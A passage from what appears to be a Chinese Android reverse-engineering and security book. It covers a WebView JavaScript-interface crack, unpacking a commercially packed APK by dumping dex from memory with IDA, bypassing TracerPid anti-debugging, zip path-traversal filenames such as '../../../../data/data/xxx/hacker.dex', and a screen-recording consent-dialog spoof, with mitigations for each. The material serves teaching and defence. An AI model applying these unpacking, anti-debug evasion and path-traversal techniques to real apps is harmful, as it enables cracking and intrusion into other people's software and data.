4.2版本中，那么在之前的版本中没有这个注解，任何public的方法都可以在JavaScript代码中访问，而Java对象继承关系会导致很多public的方法都可以在JavaScript中访问，其中一个重要的方法就是getClass（）。然后JavaScript可以通过反射来访问其他一些内容。那么这里就有这个问题了，比如下面的一段JavaScript代码： 这段JavaScript代码很危险，使用getClass方法得到这个对象（Java中的每个对象都有这个方法的），用这个方法可以得到一个Java对象，然后就可以调用这个对象中的方法了。这个也算是WebView的一个漏洞。所以通过引入@JavascriptInterface注解，则在JavaScript中只能访问@JavascriptInterface注解的函数。这样就可以增强安全性。 回归到正题，上面分析了smali源码，看到了WebView的一些设置信息，可以继续往下面看： 这里看到了一些重要的方法，一个是addJavascriptInterface，一个是loadUrl方法。知道addjavaascriptInterface方法一般的用法： 第一个参数是本地的Java对象，第二个参数是给JavaScript中使用的对象的名称。然后JavaScript得到这个对象的名称就可以调用本地的Java对象中的方法了。这里用如下代码： 将JavaScript中的名称进行混淆加密了，这也是为了防止恶意的网站来拦截后，然后调用本地的Java中的方法。 注意： 这里又存在一个关于WebView的安全问题，就是JavaScript访问的对象的名称问题，比如现在程序中有一个JavaScript交互的类，类中有一个获取设备重要信息的方法，获取设备的imei，如果程序没有做这样名称的混淆的话，破解者得到这个JavaScript名称和方法名，然后就伪造一个恶意URL，来调用程序中的这个方法，比如这样一个例子： 然后再设置JavaScript名称： 就可以伪造一个恶意的URL页面来访问这个方法，比如这个恶意的页面代码如下： 运行程序如图23-15所示。 图23-15 调用JavaScript方法 恶意页面就成功地调用了程序中的一个重要方法。可以看到，对JavaScript交互中的对象名称做混淆是必要的，特别是本地一些重要的方法。 分析完了WebView的一些初始化和设置代码，而且知道如果要被JavaScript访问的方法，必须要有@JavascriptInterface注解，因为在Java中注解也是一个类，所以去注解类的源码看看那个被JavaScript调用的方法： 这里看到有一个showToast方法，展示的内容为\\u7965\\u9f99\\uff01，在线转化一下，如图23-16所示。 图23-16 在线转化字符串 这里就是题目要求展示的内容。 到这里就分析完了apk的逻辑了，下面来整理一下： 1）在MainActivity中输入一个页面的URL，跳转到WebViewActivity进行展示。 2）WebViewActivity有Java Script交互，需要调用本地Java对象中的showToast方法展示消息。 问题：因为这里的Java Script对象名称进行了加密，所以这里自己编写一个网页，但是不知道这个Java Script对象名称，无法完成showToast方法的调用。"},
    {"text": "未知 23.4 逆向方法 下面就来分析一下如何解决上面的问题。其实解决这个问题现有的方法太多了。 第一种方法：修改smali源码。 把上面的那个Java Script对象名称改成自己想要的，比如jiangwei，然后在自己编写的页面中直接调用jiangwei.showToast方法即可。不过这里需要修改smali源码，使用smali工具回编译成dex文件，再返回到apk中运行。方法是可行的，但是感觉太复杂，这里不采用。 第二种方法：利用WebView的漏洞。 直接使用如下Java Script代码即可。 这里根本不需要任何JavaScript对象的名称，只需要方法名就可以完成调用。可以看到这个漏洞还是很危险的。 第三种方法：调用加密方法。 看到了那个加密方法，自己写一个程序，来调用这个方法，既然上面已经得到正确的JavaScript对象名称，这里就采用这种方式。因为这个方式有一个新的技能，所以这里就讲解一下了。 如果用第三种方法的话，就需要再去分析那个加密方法逻辑了： android.support.v4.widget.ListViewAutoScrollHelpern在这个类中，再去查找这个smali源码： 这个类加载了libtranslate.so库，而且加密方法是native层的，那么用IDA查看libtranslate.so库，如图23-17所示。 图23-17 native函数 搜一下Java开头的函数，发现并没有和decrypt_native方法对应的native函数，说明这里做了native方法的注册混淆，直接看JNI_OnLoad函数，如下所示： 这里果然是自己注册了native函数，但是分析到这里，就不往下分析了，为什么呢？因为其实没必要搞清楚native层的函数功能，知道了Java层的native方法定义，那么可以自己定义一个native方法来调用libtranslate.so中的加密函数功能，如图23-18所示。 图23-18 Demo工程 新建一个Demo工程，仿造一个ListViewAutoScrollHelpern类，内部再定义一个native方法。 然后在MainActivity中加载libtranslate.so： 然后调用那个native方法，打印结果如下： 这里的方法参数可以查看smali源码中的那个方法参数： 点击运行，发现有崩溃的，查看log信息，如下所示： 是由于libtranslate.so中有一个PagerTitleStripIcsn类找不到，这个类应该也有一个native方法，再构造这个类： 再次运行，还是报错，原因差不多，还需要再构造一个类TaskStackBuilderJellybeann： 好了，再次点击运行： 成功了，从这个log信息可以看出来，解密之后的Java Script对象名称是：SmokeyBear，那么下面就简单了，再构造一个URL页面，直接调用SmokeyBear.showToast即可。 注意： 这里如果知道了Java层的native方法的定义，那么就可以调用这个native方法来获取native层的函数功能，这还是很不安全的。如何防止自己的so被别人调用呢？在前面章节中已经讲解了安全防护的知识，可以在so中的native函数做一个应用的签名校验，只有属于自己的签名应用才能调用，否则直接退出。 未知 23.5 逆向测试 上面已经知道了Java Script的对象名称，下面就来构造这个页面了： 这里又有一个问题了，这个页面构造好了？放哪里呢？有的人可能有服务器，放到服务器上，然后输入URL地址就可以了，的确这个方法是可以的，但是有的人没有服务器怎么办呢？也有方法，知道WebView的loadUrl方法是可以加载本地页面的，所以可以把这个页面保存到本地，但是需要注意的是，这里不能存到SD卡中，因为这个应用没有读取SD的权限，可以查看它的AndroidManifest.xml文件： 在不重新打包的情况下，是没办法做到的，那么放哪里呢？其实很简单，可以放在这个应用的/data/data/com.ali.tg.testapp/目录下，因为除了SD卡位置，这个位置是最好的了，那么知道WebView的loadUrl方法在加载本地的页面的格式是：file：///data/data/com.ali.tg.testapp/crack.html；那么直接输入即可。 这里再介绍一个小技巧：在一个文本框中输入这么多内容，手动输入很烦琐，可以借助命令来实现输入，就是使用如下命令： 具体用法是，打开需要输入内容的EditText，点击调出系统的输入法界面，然后执行上面的命令即可： 不过这里有一个小问题，就是它不识别分号，如图23-19所示。 图23-19 文本框输入内容 直接修改成分号点击“进入”，运行成功。可看到toast的展示。 提示： 项目下载地址为 http://download.csdn.net/detail/jiangwei0910410003/9543445。"},
    {"text": "未知 23.6 逆向加固应用的方法总结 破解的步骤比较多，下面来整理一下破解步骤。 1.破解的常规套路 按照破解惯例，首先解压出classses.dex文件，使用dex2jar工具查看Java代码，发现只有一个Application类，所以猜测apk被加壳（加固）了，然后用apktool来反编译apk，得到它的资源文件和AndroidManifest.xml内容，找到了包名和入口的Activity类。 2.加固apk的源程序一般存放的位置 知道加固apk后，那么就分析这个加固的apk放在哪里，肯定是存放在本地的一个地方，一般是三个地方： ·应用的asset目录中。 ·应用的libs中的so文件中。 ·应用的dex文件的末尾。 分析了之后，发现asset目录中的确有两个jar文件，但是打不开，猜测是经过处理了，所以得分析处理逻辑，但是这时候也没有代码，怎么分析呢？这时候就需要借助于dump内存dex技术了：不管最后的源apk放在哪里，最后都是需要经历解密动态加载到内存中的，所以分析底层加载dex源码，知道有一个函数dvmDexFileOpenPartial，这个函数有两个重要参数，一个是dex的地址，一个是dex的大小，而且知道这个函数是在libdvm.so中的。所以可以使用IDA进行动态调试获取信息。 3.双开IDA开始获取内存中的dex内容 双开IDA，用之前的动态破解so方式，来给dvmDexFileOpenPartial函数下断点，获取两个参数的值，然后使用一段脚本，将内存中的dex数据保存到本地磁盘中。 4.分析获取到的dex内容 得到了内存中的dex之后，使用dex2jar工具去查看源码，但是发现无法保存，以为是dump出来的dex格式有问题，但是最后使用baksmali工具进行处理，得到smali源码是可以的，然后就开始分析smali源码。 5.分析源码了解破解思路 通过分析源码得知，在WebViewActivity页面中会加载一个页面，然后那个页面中的JavaScript会调用本地的Java对象中的一个方法来展示toast信息。但是这里遇到了个问题：JavaScript的Java对象名称被混淆加密了，需要去分析那个加密函数，但是这个加密函数是native的，然后就是用IDA去静态分析了这个native函数，但是没有分析完成，因为不需要，其实很简单，只需要结果，不需要过程。现在解密的内容知道了，native方法的定义也知道了，那么就去写一个简单的demo去调用这个so的native方法即可，结果成功了，得到了正确的JavaScript对象名称。 6.了解WebView的安全性 WebView的早期版本的一个漏洞信息，在Android 4.2之前的版本WebView有一个漏洞，就是可以执行Java对象中所有的public方法，那么在JavaScript中就可以这么处理了，先获取getClass方法获取这个对象，然后调用这个对象中的一些特定方法即可，因为Java中所有的对象都有一个getClass方法，而这个方法是public的，同时能够返回当前对象。所以在Android 4.2之后有了一个注解@JavascriptInterface，只有这个注解标识的方法才能在JavaScript中调用。 7.获取输入的新技能 验证结果的过程中发现了一个技巧，就是在输入很长的文本的时候比较烦琐，可以借助adb shell input text命令来实现。 提示： ·通过dump出内存中的dex数据，可以佛挡杀佛了，不管apk如何加固，最终都是需要加载到内存中的。 ·了解WebView的安全性相关知识，比如在WebView中JavaScript对象名称做一次混淆还是有必要的，防止被恶意网站调用我们的本地隐私方法。 ·可以尝试调用so中的native方法，在知道了这个方法的定义之后。 ·用adb shell input text命令来辅助输入。 未知 23.7 本章小结 本章介绍了在Android中如何dump出那些加固的apk程序，核心方法就一个：不管上层怎么加固，最终加载到内存的dex文件肯定不是加固的，所以这个dex就是想要的。这里使用了IDA来动态调试libdvm.so中的dvmDexFileOpenPartial函数来获取内存中的dex文件，同时还可以使用gdb+gdbserver来获取，这个方法请自行搜索吧。前两章的内容，加上本章内容就是Android中大体的破解方式，当然这三种方式不是万能的，因为加固和破解是军备竞赛，不断升级，没有哪一方有绝对的优势。当然还有很多其他的破解方式，后面如果遇到的话，会再详细说明。 现在市场中的应用为了安全考虑采用了第三方平台进行应用的加固，加固的思想也是大同小异。在逆向加固应用的时候，其实只要遵循一个目标就是找到关键点函数，下好断点，dump出内存中的dex文件。问题就在于这个关键点函数了，这个关键点函数会很多，所以在逆向的时候需要多次进行尝试，而这些关键点函数也是随着逆向经验的增加而收集得更多。 未知 第24章 逆向应用经典案例分析 本章介绍如何逆向市场中的一些加壳方案，现在市场中有很多加壳平台，这些加壳平台会做一些反调试操作，对so文件进行混淆加密等，让脱壳变得比较困难。本章将介绍加壳原理以及脱壳方法，并总结了脱壳经验。"},
    {"text": "未知 24.1 加壳原理分析 先用一个案例来看看加壳原理。首先自己弄一个demo程序，然后去某加壳网站上加固一下，得到加固之后的apk，然后开始破解。 1.反编译apk 解压apk，看看大体的目录，得到classes.dex文件，然后用dex2jar+jd-gui得到Java源码，如图24-1所示。 图24-1 反编译之后的源码 看到这里只有Application的壳，而且这个是加固之后的特点，都是这两个Application的。 使用apktool来反编译apk，获取资源文件信息： 2.分析加密流程 加固程序把源程序进行加密操作然后隐藏到了一个地方，在之前一章中也说过了，隐藏的地方就那么几个：assets目录、libs目录、自己的dex文件。这里直接看assets目录，如图24-2所示。 图24-2 assets目录 多了这个文件，猜想这个可能就是处理之后的源apk了。在AndroidManifest.xml中看到了入口的SuperApplication类，下面来分析一下这个类： 这里一般都是在attachBaseContext方法中进行操作的，这里的时机比较早，首先会调用loadLibs方法进行加载libs： 这里区分不同的平台，然后拷贝不同的so文件，继续看copyLib方法： 可以看到，从assets目录下把增加的两个so文件libexec.so和libexecmain.so拷贝到应用程序的files目录下，可以去看看assets/ijm_lib目录下的so文件，如图24-3所示。 图24-3 so文件目录 到这里loadLibs方法就执行完了，下面就开始调用NativeApplication的load方法进行加载数据，继续看NativeApplication类： 开始从应用程序的files目录中加载这两个so文件，load方法也是一个native方法，继续看看这两个so文件内容。 首先用IDA打开libexecmain.so文件，如图24-4所示，但是发现，它里面并没有什么重要信息，连JNI_OnLoad函数都没有内容。 图24-4 IDA打开libexecmainso文件 继续查看libexec.so文件，如图24-5所示。 图24-5 IDA打开libexec.so文件 可惜的是，打开提示so文件格式错误，到这里就猜到了，这个so可能被加密处理了，ELF格式改了，点击Yes继续强制打开之后，再使用Ctrl+S查看so的各个段信息，如图24-6所示。 现在确定，没办法分析so文件了，分析到这里，也知道了大体加密流程： 1）按照惯例把源apk进行加密处理存放在一个地方，通过分析猜想是assets目录下的ijiami.dat文件。 图24-6 查看so中的段信息 2）添加壳Application：SuperApplication类在这个壳的attachContext方法中主要做了两件事： ·把assets/ijm_lib目录下的两个so文件copy到程序的files目录中。 ·调用NativeApplication的load方法，在这个类中同时也把上面的两个so文件加载到内存中。 3）对apk的加密都是放在底层的两个so文件中操作的，通过IDA去分析这两个so文件之后，发现核心功能的so文件被加密了，IDA打开是看不到具体信息了。 到这里知道加固之后的特点是：在程序的assets目录下多了一个ijiami.dat文件和两个so文件，同时这两个so文件被加密处理了，增加破解难度。"},
    {"text": "未知 24.2 脱壳过程 上面简单分析了加密的原理和流程，但是没有继续往下面分析了，因为这不是本章讲解的重点，本章的重点是如何脱掉加密的壳。"},
    {"text": "第一步：启动设备中的android_server 进行端口转发： 第二步：用debug模式启动程序 代码如下： 这里的包名和入口Activity都可以在上面反编译之后的AndroidManifest.xml文件中找到： 第三步：双开IDA 一个用于静态分析libdvm.so，一个用于动态调试，如图24-7所示。"},
    {"text": "图24-7 获取函数相对地址 记录dvmDexFileOpenPartial函数的相对地址4777C，再次打开一个IDA，进行attach调试进程，如图24-8所示。 图24-8 附加进程 第四步：使用jdb命令attach上调试器 代码如下： 第五步：对dvmDexFileOpenPartial函数下断点 进入调试页面之后，用Ctrl+S键查找libdvm.so的内存基地址415BB000，如图24-9所示。 图24-9 获取so的基地址 将第三步中获取到的相对地址加上基地址4777C+415BB000=4160277C，得到了dvmDex-FileOpenPartial在内存中的绝对地址。"},
    {"text": "注意，这里还有一个更方便的办法，就是直接打开Modules View，如图24-10所示。 图24-10 Modules视图 在这里查找libdvm.so文件，如图24-11所示。 然后双击libdvm.so文件，如图24-12所示。 图24-11 查找libdvm.so文件 图24-12 获取函数的绝对地址 查找需要下断点的函数名称，看到这里的绝对地址也是4160277C。"},
    {"text": "然后使用G键，直接跳转到函数处，下断点，如下所示： 第六步：设置Debugger Options选项 此操作能够让程序断在dvmDexFileOpenPartial函数处，如图24-13所示。 图24-13 设置Debugger Options选项 注意： 上面的第四步、第五步、第六步没有顺序，只要在运行之前设置就可以了。 第七步：运行程序 出现这个对话框不要在意，一路点击Cancel即可，如图24-14所示。"},
    {"text": "图24-14 提示对话框 jdb也attach上了调试程序： 一直点击运行按钮，直到运行到dvmDexFileOpenPartial处的断点，但是可惜的是，这里遇到了错误，如图24-15所示。"},
    {"text": "图24-15 运行报错 点击OK之后，出现了下面对话框，如图24-16所示。 图24-16 报错对话框 再次点击任何一个按钮，都会退出调试页面，如图24-17所示。 图24-17 退出调试页面 再重新尝试一次上面的流程，开始调试，但是错误是一样的，到这里就立马想到了，之前第8章说的IDA调试so遇到的那个问题：反调试检测。 其实这是现在加固平台必要选择的一种方式，反调试原理很简单，就是在程序运行最早的时机，比如so加载的时候即JNI_OnLoad方法中，读取本进程的status文件，查看TracerPid字段是否为0，如果不为0，那么就表示自己的进程被别人跟踪了，也就是attach了，这时候立马退出程序，下面使用IDA在attach进程成功之后，查看本进程的status信息： 看到这里的TracerPid为24336，不为0，表示被24336进程attach了，那么可以查看一下这个进程是谁： 这个进程就是在设备中安插的android_server，它用于和IDA进行通信。 到这里，可以看到应用做了反调试检测，按照上一章的内容，可以给JNI_OnLoad函数下断点，然后找到检测代码，把对应的ARM指令改成空指令，检测失效了，但是这里两个so文件被处理了，IDA没法分析了，那么该怎么办呢？"},
    {"text": "首先上面分析了反调试的原理，一般在native代码去做检测的话，都是用fopen系统函数打开status文件，然后用fgets函数读取一行的内容，一般操作文件都是用fopen函数。 那么思路就有了，既然反调试肯定用到了fopen和fgets这两个函数，那么直接像给dvmDexFileOpenPartial下断点的方式一样，给这两个函数下断点，然后运行到fgets断点处的时候，发现如果是读取TracerPid这行内容的时候，就开始修改内存内容，把TracerPid字段的值改成0，或者修改R0寄存器的内容，跳过反调试检测。"},
    {"text": "这两个函数是在libc.so文件中的，可以把设备的/system/lib/libc.so使用adb pull到本地即可，然后用IDA得到相对地址，在调试页面得到基地址，然后相加得到绝对地址，跳转即可。"},
    {"text": "图24-18 查看fopen函数的绝对地址 然后使用G键，跳转下断点即可，如下所示： 第二种方式：也是最简单的方式，就是用G键，本身就有可以直接输入函数名进行跳转的功能，如图24-19所示。 图24-19 输入函数名跳转 下断点，如下所示： 到这里就给这两个函数下好了断点，当然这里还需要给dvmDexFileOpenPartial函数下断点，一切弄好了之后，这时候再次运行，如下所示： 停在了fopen断点处，使用F8键单步调试，看到R7寄存器中的内容是/proc/...，直接点击R7查看全部内容，如下所示： 内容有点长，大致的内容是/proc/self/cmdline.debug.atrace.app_cmdlines，这个是干什么的？ 看看这个目录内容： 发现没有这个文件内容，只有cmdline文件，但是可以先不管它了，知道这个肯定不是读取status文件的，那直接略过这个断点，点击F9键运行到下一个断点，中间过程先忽略，一路用F9键，直到运行到了fopen这个断点，如下所示： 果然，这里使用了fopen来读取status文件了，点击R7寄存器查看全部内容，如下所示： 这个16396就是本进程的id： 到这里，下一个断点肯定是fgets，所以点击F9键进入到fgets断点处，如下所示： 这里还看不到什么信息，继续点击F8键单步调试，如下所示： 途中，会看到有memchr和memcpy这两个重要函数，这个也是操作字符串的核心点，继续往下走，如下所示： 到了fgets函数结束的地方，看到了R0寄存器的内容是Name，点击R0查看全部内容，如下所示： 全部内容是Name：der.crackme0201，这就是status文件的第一行内容： 开始读取status文件的每行内容了，但是到TracerPid那行还要继续执行5次fgets函数，所以还会进入5次断点。 为了节省时间，这里点击5次F9键，直接运行到读取TracerPid那行的内容的fgets断点处，如下所示： 看到关键的内容TracerPid字段了，这时候打开Hex View查看16进制的内存数据，如下所示： 但是看到，这并没有和调试页面View位置相对应，查看数据很费劲，所以可以这么操作，在寄存器窗口查看到R0寄存器的内容，如下所示： 这里就是TracerPid字段在内存的地址，记录一下，然后在Hex View页面中使用G键，进行跳转，一定要注意是在HexView，而不是调试页面，调试页面使用G键跳转到的是指令地址了，如图24-20所示。 图24-20 Hex View页面 这里看到TracerPid的内存内容了，就开始修改吧，选择要修改的内容：是11340那里，如图24-21所示。 图24-21 修改寄存器值 选择内容开始处，右击，选择Edit，进入修改状态，如下所示： 改了之后的内容是橘黄色的，修改完成之后，再点击右键，选择Apply changes，如图24-22所示。 完成修改，颜色变成灰土色了，如下所示： 注意：这里其实还可以直接修改寄存器R0的值，如图24-23所示。 图24-22 保存设置 图24-23 直接修改寄存器值 这时候就修改成功了，继续使用F8键单步调试下去，如下所示： 到这里就开始把TracerPid字段的值和0进行比较了，点击R0寄存器查看全部内容，如下所示： 这里的值已经被改成了0，所以就骗过去了。"},
    {"text": "这个也不好奇，因为反调试检测肯定是一个轮询机制，所以肯定会反复地读取这个文件，fopen走多次也是正常的，但是这个反调试肯定是在子线程的，所以只要到了主线程中解密dex文件肯定到了dvmDexFileOpenPartial，这里会多次重复上面的操作，修改多次TracerPid的值。"},
    {"text": "图24-24 警告对话框 再次点击运行，如下所示： 这里说明已经开始解密dex文件了，应该离成功不远了，继续运行，如下所示： 终于到了想要的地方了，到这里就好办了，直接点击Shirt+F2键，打开脚本运行窗口，运行下面脚本，如图24-25所示。 图24-25 运行脚本 把内存中的dex保存到F：\\dump.dex中。 这里R0寄存器就是dex在内存中的起始地址，R1寄存器就是dex文件的大小，如图24-26所示。 图24-26 查看dex文件的起始地址和文件大小 使用G键，可以在HexView页面中查看R0寄存器中的地址内容，如下所示： 这里就是dex的头文件格式。"},
    {"text": "未知 24.3 如何还原应用 首先修改反编译之后的AndroidManifest.xml中的内容： 把这段内容删除，如果有自己的Application的话，就改成自己的Application即可，同时删除assets目录下面的文件。然后使用apktool进行回编译，这时候，先不要着急签名apk，而是替换classes.dex，把上面得到的dump.dex改成classes.dex然后直接用压缩软件，替换未签名的apk中的dex文件即可，最后再进行签名操作，完成还原apk工作。 未知 24.4 脱壳经验总结 到这里算是脱壳成功了，下面总结脱壳流程。 在脱壳的过程中，就一个目标：dump出内存中的dex文件。但是在上面分析了加固流程之后，发现它做了这些事：把源程序apk加密处理放到了assets目录下的ijiami.dat，也同时在assets\\ijm_lib目录下添加两个so文件libexec.so和libexecmain.so，这里两个so文件用来处理整个apk解密，动态加载等逻辑，但是用IDA查看得知，这两个so文件被加密处理了。 首先，添加自己的壳Application即SuperApplication类，这个类中的attachContext方法中，首先把assets目录中的两个so文件copy到应用的files目录下，然后使用System.load方法，加载这个files目录中的两个so文件。 然后，在给dvmDexFileOpenPartial下断点进行调试的时候，发现有反调试检测，因为无法给JNI_OnLoad下断点来去除反调试功能的arm指令，所以只能去修改内存数据，把TracerPid的值变成0，骗过检测了。这里的思路就是给fopen和fgets这两个函数下断点，因为反调试的原理就是读取本进程的status文件，然后获取TracerPid那行内容即可，所以这里肯定用到了fopen和fgets函数，在使用fgets这个函数的时候，会读取每行内容，那么我们只要发现在读取到TracerPid那行内容的时候，去修改内存值，把TracerPid字段的值改成0即可。 有了上面的反调试思路之后，就开始进行操作了，但是在操作的过程中发现多次执行了fopen和fgets函数，而且需要修改多次TracerPid的值，原因很简单，因为是反调试检测，肯定是在子线程中轮询去检测这个值，会执行多次很正常，所以要修改多次TracerPid的值，骗过检测，直到当在主线程中，代码运行到了解密dex文件的时候，即到了dvmDexFileOpenPartial函数处的断点处为止。 最后修改多次TracerPid值，骗过检测，到了dvmDexFileOpenPartial这里，这时候，再执行dump脚本，把内存中的dex数据dump到本地即可。 通过上面的调试和破解流程其实不难发现，加密的流程是这样的： 1）fopen——/proc/self/cmdline.debug.atrace.app_cmdlines。 2）fgets——com.droider.crackme0201。 3）dvmLoadNativeCode——加载libexec.so。 4）dvmLoadNativeCode——加载libexecmain.so。 5）建立反调试线程（通过检查是否存在调试进程）。 6）调用fopen——打开/proc/pid/status。 7）调用fgets——读取调试进程pid。 这里除了dvmDexFileOpenPartial函数，还有一个重要的函数dvmLoadNativeCode，它是加载和初始化so的函数，感兴趣的读者可以去给这个函数下断点看看运行逻辑。 所以只需记住目的只有一个：到达dvmDexFileOpenPartial函数处，dump出内存中的dex文件，就算是完成脱壳工作了。 未知 24.5 本章小结 本章用案例介绍如何脱掉某平台加密的壳，其实现在各个加固平台的原理都差不多，最后看到的就是各家的加固算法了，所以在脱壳的过程中目标也很明确，就是dump出内存中的dex文件即可。不管它上层用什么样的复杂的加密拆分操作，到了内存肯定是完整的dex文件，所以现在加固平台的应对方法也是一个思想，就是不让你dump出来，就是让你给dvmDexFileOpenPartial函数下断点失败，调试失败。 未知 第25章 Android中常见漏洞分析 前几章介绍了Android开发中需要注意的安全问题以及如何做逆向工作，但是有时候光有这些知识还不够做到百分百安全，因为一个系统必定会有一些漏洞，而这些漏洞如果被恶意利用，也是非常危险的。本章介绍开发中比较常见的两个漏洞：文件解压漏洞和录屏功能漏洞。"},
    {"text": "未知 25.1 解压文件漏洞分析 25.1.1 漏洞场景 Android开发过程中会有很多场景中使用到解压缩文件，比如动态加载，可能需要下载apk/zip文件，然后在本地做解压工作。"},
    {"text": "还有一些资源在本地占用apk包的大小，就也打包成zip放到服务端，使用的时候再去服务端下载，本地做解压工作。 在Android中解压zip文件，使用的是ZipInputStream和ZipEntry类，代码如下所示： 代码看上去很简单，但是这段代码中存在一个问题，就是zipEntry.getName方法，这个方法返回的是zip文件中的子文件名称，按照正常逻辑，解压这个子文件到本地都是直接用相同的名字即可，但是这里解压zip文件存在一个漏洞：zip文件中的子文件名格式没有格式要求，也就是可以包含特殊字符。"},
    {"text": "图25-1 Windows中文件命名限制 图25-2 Linux中文件命名限制 这些系统中是不允许文件名包含一些特殊字符的，而在ZipInputStream/ZipOutput-Stream类却是可以的。 也就是说使用ZipOutputStream类进行压缩文件，可以对文件名不做任何限制，压缩代码也简单： 只用ZipEntry类做单个文件压缩： 这里的ZipEntry可以指定随意的名称，而这个名称就是文件在zip文件中的文件名。"},
    {"text": "那么如果zip包被人恶意的拦截，然后进行修改，这里可以使用ZipInputStream/ZipOutputStream类，写一个简单的小程序，就可以把恶意文件写入到zip中。"},
    {"text": "25.1.2 漏洞原因分析 因为文件名没有限制，所以攻击者可以把恶意文件名称命名为：../../../../data/data/xxx.xxx.x/hacker.dex，因为Android是基于Linux系统的，在Linux系统中../符号代表是回到上层目录，那么这里可以多写几个这个符号，这样就会回到Android系统的根目录，然后进入当前应用的沙盒目录下写一个文件了。"},
    {"text": "存在的风险：比如现在知道了一个应用的沙盒数据的详细信息，一些隐私数据存放在SharedPreferences.xml中，或者有动态加载机制，需要加载的dex文件存放在一个目录中，这时可以利用这个漏洞，把几个恶意文件，命名改成../../../../data/data/xxx.xxx.xxx/shared_pref/info.xml，或者是../../../../data/data/xxx.xxx.xxx/dexfile/dynamic.dex。"},
    {"text": "这样在使用ZipEntry进行解压文件的时候，因为直接使用了ZipEntry.getName方法或者文件名，然后直接释放解压到本地了，所以就相当于替换了本应用的沙盒数据，这也是利用了App本身的权限来写入沙盒数据。 25.1.3 漏洞案例分析 上面分析完了漏洞，下面就用一个简单的例子来看看问题吧，从上面的分析知道，在本地系统中命名这样特殊格式的文件，在进行压缩成zip文件是不行的，因为系统不支持这种命名格式，所以这里需要写一个小程序，把这个特殊的文件名的文件压缩成zip，便于测试，然后再进行解压，如下所示： 先进行压缩文件，方便测试，产生一个demo.zip文件，然后再进行解压验证漏洞问题，这里验证问题的重点是： 这里把zip中需要解压的文件名前加上前缀：../../../data/data/cn.wjdiankong.androidzipleakdemo/这样解压之后的目录就在本应用的沙盒中了，注意../这样的符号不要太多，只要能回到根目录就可以了。 这里为了方便，直接使用echo命令，写入aaa内容到demo.txt文件中，然后点击压缩，再次查看，多了demo.zip文件： 这里就把zip中的恶意文件demo.txt释放到应用的沙盒中了，如果这个文件是dex或者其他文件，替换原来应用的一些重要文件，那么后果会很严重。 25.1.4 漏洞修复 上面了解到了漏洞产生的主要原因，由于ZipEntry在进行文件压缩时名称没有做任何限制，而在Android系统中../这种特殊符号代表的是回到上层目录，又因为这个解压工作在本应用中，可以借助App的自身权限，把恶意文件名改成：../../../data/data/...，即可在解压的时候把文件解压到了应用的沙盒中。 其实问题在于最后一步解压，因为不会去修改解压之后的文件名，默认都是直接解压即可。 那么修复这个漏洞问题很简单了，有很多种方式，核心就是不要让有特殊字符，比如：../的文件成功解压，或者解压到本地文件名称不能包含这种特殊字符，代码如下： 上面分析了现在应用很多都有从服务端下载zip文件，然后在本地进行解压的功能，在解压的过程中默认不会去进行文件名的操作，所以就存在一些特殊字符的文件名被释放到了本地，从而产生安全问题。 这里有一个前提，就是需要下载的zip文件被攻击者拦截到了，并且替换了。 那么如果在下载的过程中就做一层安全其实也是可以的，比如使用HTTPS协议，然后再结合文件的MD5比对功能，就可以防止zip包被人拦截替换了。"},
    {"text": "25.1.5 漏洞总结 本章前面介绍了一个不起眼的漏洞，但是隐藏着很严重的问题，这个漏洞主要是因为如下几点综合产生的： ·ZipEntry对压缩文件名没有特殊要求。"},
    {"text": "关于这个漏洞的修复，Google一直没有做，只是在API中做了提醒： 可以看到Google对该方法给出了一个安全提示，提示开发者如果该方法的返回值中包含有“../”跳转符，需要特别注意不要将文件写到了目标文件夹之外。"},
    {"text": "未知 25.2 录屏授权漏洞分析 25.2.1 漏洞场景 在Android 5.0中新增了一个API来进行录制屏幕视频。在当今直播和游戏那么火的时代，录制也是非常不错的功能，现在很多应用就是利用这个API来做到游戏的录制效果的。在使用这个API的时候，系统会给一个授权提示，如图25-3所示。 图25-3 屏幕录制授权提示 这个对话框是系统弹出来的提示消息，主要由两部分组成，应用的名称+提示文案，看似是一个很平常的授权对话框，但是这背后却有一个很大的界面漏洞，危险性很大。当应用被授权了，那么就代表这个应用可以监听用户设备的屏幕信息。 Android系统中在弹出对话框的时候，如果内容过多，会采用滚动样式，来展示全部消息，而不是使用字符省略的方式。那么就存在一个问题，如果把应用的名称故意弄的很长，导致后面一段提示文案“将开始截取您的屏幕上显示的所有内容”给抵到底部，只有滑动的时候才能看到，这样来骗取用户点击“立即开始”。同时再把应用的名称改成一些银行或者是社交账号，支付应用的提示文案，比如：“××宝新增了特性...点击立即开始，即可体验！”，用户如果相信就开始点击了。当然这里还需要一个功能，就是监听系统的TopActivity，当监听到用户打开了银行App或者是社交App的时候，就去申请权限，弹出对话框！ 下面通过MediaProjectionManager源码来分析一下，授权提示流程：在使用录制屏幕功能的时候，去授权页面调用的是createScreenCaptureIntent方法，获取授权Intent： 这里调用的是MediaProjectionPermissionActivity来进行授权： 这里直接用系统对话框展示了。 下面就来演示一个例子，比如现在恶意软件在后台监听到了用户启动了某某应用，然后就启动授权界面，如图25-4所示。 图25-4 恶意应用的授权界面 恶意App的名称为： 这就看到了提示信息，与打开银行App时给的提示信息很类似，用户会感觉很正常，如图25-5所示。一般弹出的提示对话框，用户不会去滑动看到底部，而关键提示信息就在底部。 图25-5 恶意App授权界面 如果用户点击“立即开始”就相当于授权了，那么恶意App就在后台偷偷录制你的屏幕，当你输入账号和密码的时候也会被记录，再把录制App发到服务端进行分析，账号就会被盗取！ 25.2.2 漏洞原因分析 这个漏洞其实就是一个界面漏洞，在提示信息展示的时候没有做省略处理，从而把最重要的提示文案给隐藏了，导致用户被骗，同意授权。 该漏洞实际上是由于Google没有制定合理的Android应用名称规范导致，综合表现为如下两点： ·没有规范应用名称长度，使得应用名称可为任意长度。 ·没有规范应用名称字符集，如应用名称可包含换行符和制表符。 25.2.3 漏洞修复 Google在后续的6.0系统中修复了这个问题，修复之后的效果如图25-6所示。 图25-6 修复之后的授权界面 采用了省略号代替了，不会把重要的提示信息给隐藏了。那么对于5.0系统的用户该怎么办呢？这个漏洞依旧存在，这就要求开发者做一些工作了，在Android中涉及用户隐私的Acitivity中（例如登录、支付等其他输入敏感信息的界面中）增加属性：WindowManager.LayoutParams.FLAG_SECURE 看一下属性源码说明： 该属性能防止屏幕被截图和录制。这个属性就是可以防止当前Activity不会被录制，可以做一个案例： 使用MediaProjection进行截图功能，如果加上了这个属性，再次截图，效果如图25-7所示。 图25-7 应用截图失败 看到下面的截图是一片漆黑，截图失败，而且这时候使用adb shell screencap命令去截图也是失败，如图25-8所示。 图25-8 应用截图失败提示 从这里可以看出，adb shell screencap和screenrecord命令底层的实现和MediaProjection是一样的。 